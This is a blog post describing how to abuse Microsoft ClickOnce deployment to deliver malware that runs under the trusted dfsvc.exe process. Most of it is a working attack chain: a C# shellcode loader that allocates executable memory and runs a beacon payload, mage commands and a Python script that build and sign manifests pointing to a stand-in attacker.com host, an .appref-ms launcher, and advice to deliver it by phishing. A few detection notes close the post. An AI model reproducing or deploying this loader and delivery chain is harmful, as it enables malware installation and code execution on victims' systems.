Post

Hijacking ClickOnce

ClickOnce apps launch under the Deployment Service (dfsvc.exe), enabling attackers to proxy execution of malicious payloads through this trusted host.

Hijacking ClickOnce

Introduction

ClickOnce is a deployment technology that enables you to create self-updating Windows-based applications that can be installed and run with minimal user interaction. Visual Studio provides full support for publishing and updating applications deployed with ClickOnce technology if you have developed your projects with Visual Basic and Visual C#. For information about deploying Visual C++ applications, see ClickOnce Deployment for Visual C++ Applications.


Hijacking ClickOnce for Malware Deployment

ClickOnce is a Microsoft deployment technology allowing near-zero-interaction app installation. Attackers can weaponize it to deploy implants via trusted Windows processes (dfsvc.exe).


Why Use ClickOnce

  • Minimal user interaction
  • Trusted Microsoft dialogs
  • Flexible online/offline deployment
  • Easy to sign manifests
  • Stealth execution via dfsvc.exe

Attack Workflow

1. Build Malicious .NET Loader

Example C# loader:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
using System;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("kernel32")]
    static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint size, uint allocType, uint protect);

    [DllImport("kernel32")]
    static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint stackSize, IntPtr startAddress, IntPtr param, uint flags, IntPtr threadId);

    [DllImport("msvcrt")]
    static extern IntPtr memcpy(IntPtr dest, byte[] src, uint count);

    static void Main()
    {
        byte[] sc = System.IO.File.ReadAllBytes("beacon.bin");
        IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
        memcpy(addr, sc, (uint)sc.Length);
        CreateThread(IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
    }
}

Compile with:

1
csc.exe /platform:anycpu /out:evil.exe loader.cs

2. Create Application Manifest

1
2
3
4
5
6
mage -New Application `
  -Processor msil `
  -ToFile evil.exe.manifest `
  -Name "EvilApp" `
  -Version 1.0.0.0 `
  -FromDirectory .

3. (Optional) Sign Manifest

1
mage -Sign evil.exe.manifest -CertFile cert.pfx -Password pass

4. Create Deployment Manifest

1
2
3
4
5
6
7
mage -New Deployment `
  -Processor msil `
  -Install true `
  -Publisher "EvilCorp" `
  -ProviderUrl https://attacker.com/evil.application `
  -AppManifest 1.0.0.0\evil.exe.manifest `
  -ToFile evil.application

5. (Optional) Sign Deployment Manifest

1
mage -Sign evil.application -CertFile cert.pfx -Password pass

6. Append .deploy Extensions

Rename files:

1
evil.exe.deploy

Edit .application:

1
<deployment install="true" mapFileExtensions="true"/>

7. Example .appref-ms File

UTF-16 LE encoded content:

1
https://attacker.com/evil.application#EvilApp.application, Culture=neutral, PublicKeyToken=0000000000000000, processorArchitecture=msil

Double-clicking triggers install.


Automation Example Script

Python to build manifests automatically:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import subprocess

def build_clickonce():
    subprocess.run([
        "mage",
        "-New", "Application",
        "-Processor", "msil",
        "-ToFile", "evil.exe.manifest",
        "-Name", "EvilApp",
        "-Version", "1.0.0.0",
        "-FromDirectory", "."
    ])

    subprocess.run([
        "mage",
        "-New", "Deployment",
        "-Processor", "msil",
        "-Install", "true",
        "-Publisher", "EvilCorp",
        "-ProviderUrl", "https://attacker.com/evil.application",
        "-AppManifest", "1.0.0.0\\evil.exe.manifest",
        "-ToFile", "evil.application"
    ])

build_clickonce()

Deployment Options

  • Host evil.application online.
  • Deliver .appref-ms file by phishing or shortcut.
  • Zip all files for offline install.

Detection Notes

  • Child process: dfsvc.exe
  • Artifacts in %LOCALAPPDATA%\Apps\2.0\
  • .application and .manifest files
  • Network to ProviderUrl

This post is licensed under CC BY 4.0 by the author.